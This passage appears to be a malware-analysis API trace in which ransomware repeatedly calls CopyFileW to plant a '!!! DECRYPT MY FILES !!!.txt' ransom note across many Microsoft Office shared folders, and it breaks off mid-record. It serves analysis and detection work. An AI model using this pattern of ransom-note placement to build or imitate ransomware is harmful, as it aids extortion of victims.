(lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0203.719] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0203.725] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Source Engine\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\source engine\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0203.729] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TEXTCONV\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\textconv\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0205.824] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0205.833] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0205.836] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AXIS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\axis\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0205.840] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLENDS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blends\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0205.843] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\bluecalm\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0205.848] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0205.853] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\boldstri\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0205.857] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0207.994] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\canyon\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0207.998] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.003] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\cascade\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.006] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\compass\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.010] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\concrete\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.014] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.035] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.039] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.099] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\edge\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.102] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.107] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.117] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.121] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\indust\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.124] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.128] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\journal\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.131] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.134] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.845] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\network\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.849] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.852] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\pixel\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.855] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\profile\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.858] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\quad\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.862] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.865] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\refined\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.868] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.875] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ripple\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.878] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.994] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0208.998] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sky\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0209.002] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\slate\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0209.005] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0209.008] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\spring\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0209.012] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\strtedge\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0209.017] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\studio\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0209.020] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sumipntg\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0209.024] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0209.038] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0210.903] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0210.911] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\enes\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0210.914] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\enfr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0210.918] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\esen\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0210.922] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), 